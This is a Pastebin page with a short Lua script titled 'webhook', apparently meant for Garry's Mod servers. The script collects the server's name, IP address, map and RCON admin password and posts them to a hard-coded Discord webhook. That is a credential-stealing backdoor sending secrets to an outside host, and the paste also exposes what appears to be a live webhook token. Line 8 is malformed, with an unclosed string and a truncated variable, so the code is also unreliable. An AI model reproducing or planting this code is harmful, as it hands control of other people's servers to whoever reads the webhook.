Advertisement
xSakuraYT

webhook

Jan 31st, 2019
2,522
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. local servername = GetHostName()
  2. local serverip = game.GetIPAddress()
  3. local map = game.GetMap()
  4. local rcon = game.GetRcon()
  5.  
  6. local discordurl = "https://discordapp.com/api/webhooks/535947796684210196/kt3YkJCdR5QfbXMA1tid2SbnE2lfQK9GG17ixwTmN1PamtRzic08xEqy4pukAt3gAltb "
  7. local username = "Server:"
  8. local content = "Nom : "..servername.." | L'IP : "..serverip.." | Map : "..map | Rcon : "..rc
  9. http.Post( discordurl, {username = username, content = content} )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement